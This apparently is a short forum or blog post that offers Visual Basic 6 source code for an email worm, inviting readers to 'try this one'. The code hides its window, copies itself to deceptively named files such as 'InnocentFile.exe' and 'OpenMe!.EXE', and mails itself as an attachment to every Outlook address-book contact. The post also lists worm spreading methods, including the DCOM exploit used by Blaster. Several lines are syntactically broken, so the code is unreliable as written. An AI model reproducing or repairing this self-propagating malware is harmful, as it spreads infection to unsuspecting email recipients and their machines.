Hi Guys try this one
its not a virus but its a worm,its gonna copy itself to other computers via email
A worm will do some following things
-Email
-Injection
-Infection of files
-File Sharing
-Exploits such as the Dcom Exploit W32.Blaster Used
-Messenger Exploits
Use VB 6.0

Private Form Sub_Load()
Me.hide
Filecopy App.Path + “\” + App.EXEName + “.exe”, “C:\Worm1.Exe”
Filecopy App.Path + “\” + App.EXEName + “.exe”, “C:\InnocentFile.exe”
Filecopy App.Path + “\” + App.EXEName + “.exe”, “C:\Me.EXE”
Filecopy App.Path + “\” + App.EXEName + “.exe”, “C:\OpenMe!.EXE”
Set so = CreateObject(fso)
Set ol = CreateObject(“Outlook.Application”)
Set out = Wscript.CreateObject(“Outlook.Application”)
Set mapi = out.GetNameSpace(“MAPI”)
Set a = mapi.AddressLists(1)
For X = 1 To a.AddressEntries.Count
Set Mail = ol.CreateItem(0)
Mail.to = ol.GetNameSpace(“MAPI”).AddressLists(1).AddressEntries(X)
Mail.Subject = “Fwd:None”
Mail.Body = “Hey Buddy My first worm is in your email now, enjoy it !!!”&”Have a nice worm !!”
Mail.Attachments.Add = “C:\Worm1.exe”
Mail.Send
Next
ol.Quit
End Sub

Thanx

Advertisements